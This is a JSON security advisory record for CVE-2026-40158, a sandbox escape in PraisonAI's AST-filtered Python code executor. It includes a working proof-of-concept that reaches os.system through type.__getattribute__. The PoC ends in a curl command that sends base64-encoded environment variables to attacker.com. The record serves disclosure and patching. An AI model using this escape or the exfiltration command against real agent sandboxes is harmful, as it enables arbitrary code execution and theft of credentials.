{"id":"CVE-2026-40158","aliases":["GHSA-3c4r-6p77-xwr7","PYSEC-2026-2898"],"url":"https://o3.security/vulnerability/CVE-2026-40158","summary":"PraisonAI has Improper Control of Generation of Code ('Code Injection') and Protection Mechanism Failure in praisonai","details":"PraisonAI's AST-based Python sandbox can be bypassed using `type.__getattribute__` trampoline, allowing arbitrary code execution when running untrusted agent code.\n\n## Description\n\nThe `_execute_code_direct` function in `praisonaiagents/tools/python_tools.py` uses AST filtering to block dangerous Python attributes like `__subclasses__`, `__globals__`, and `__bases__`. However, the filter only checks `ast.Attribute` nodes, allowing bypass via:\n\nThe sandbox relies on AST-based filtering of attribute access but fails to account for dynamic attribute resolution via built-in methods such as type.__getattribute__, resulting in incomplete enforcement of security restrictions.\n\n\n```python\ntype.__getattribute__(obj, '__subclasses__')  # Bypasses filter\n```\n\nThe string `'__subclasses__'` is an `ast.Constant`, not an `ast.Attribute`, so it is never checked against the blocked list.\n\n## Proof of Concept\n\n```python\n# This code bypasses the sandbox and achieves RCE\nt = type\nint_cls = t(1)\n\n# Bypass blocked __bases__ via type.__getattribute__\nbases = t.__getattribute__(int_cls, '__bases__')\nobj_cls = bases[0]\n\n# Bypass blocked __subclasses__\nsubclasses_fn = t.__getattribute__(obj_cls, '__subclasses__')\nall_subclasses = subclasses_fn()\n\n# Find _wrap_close class\nfor c in all_subclasses:\n    if t.__getattribute__(c, '__name__') == '_wrap_close':\n        # Get __init__.__globals__ via bypass\n        init = t.__getattribute__(c, '__init__')\n        glb = type(init).__getattribute__(init, '__globals__')\n        \n        # Get system function and execute\n        system = glb['system']\n        system('curl https://attacker.com/steal --data \"$(env | base64)\"')\n```\n\n---\n\n## Impact\n\nThis vulnerability allows attackers to escape the intended Python sandbox and execute arbitrary code with the privileges of the host process.\n\nAn attacker can:\n\n* Access sensitive data such as environment variables, API keys, and local files\n* Execute arbitrary system commands\n* Modify or delete files on the system\n\nIn environments that execute untrusted code (e.g., multi-tenant agent platforms, CI/CD pipelines, or shared systems), this can lead to full system compromise, data exfiltration, and potential lateral movement within the infrastructure.\n\n---\n\n## Affected Code\n\n```python\n# praisonaiagents/tools/python_tools.py (approximate)\ndef _execute_code_direct(code, ...):\n    tree = ast.parse(code)\n    \n    for node in ast.walk(tree):\n        # Only checks ast.Attribute nodes\n        if isinstance(node, ast.Attribute) and node.attr in blocked_attrs:\n            raise SecurityError(...)\n    \n    # Bypass: string arguments are not checked\n    exec(compiled, safe_globals)\n```\n\n\n**Reporter:** Lakshmikanthan K (letchupkt)","published":"2026-04-10T16:49:24.753Z","modified":"2026-08-12T03:51:33.547081119Z","cvss":{"score":8.6,"severity":"HIGH","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H"},"epss":null,"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"PyPI","name":"praisonai","fixedVersion":"4.5.128"}],"fix":null,"references":[{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/40xxx/CVE-2026-40158.json"},{"type":"ADVISORY","url":"https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-3c4r-6p77-xwr7"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-40158"},{"type":"PACKAGE","url":"https://github.com/MervinPraison/PraisonAI"},{"type":"WEB","url":"https://github.com/MervinPraison/PraisonAI/releases/tag/v4.5.128"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:33.547081119Z"}}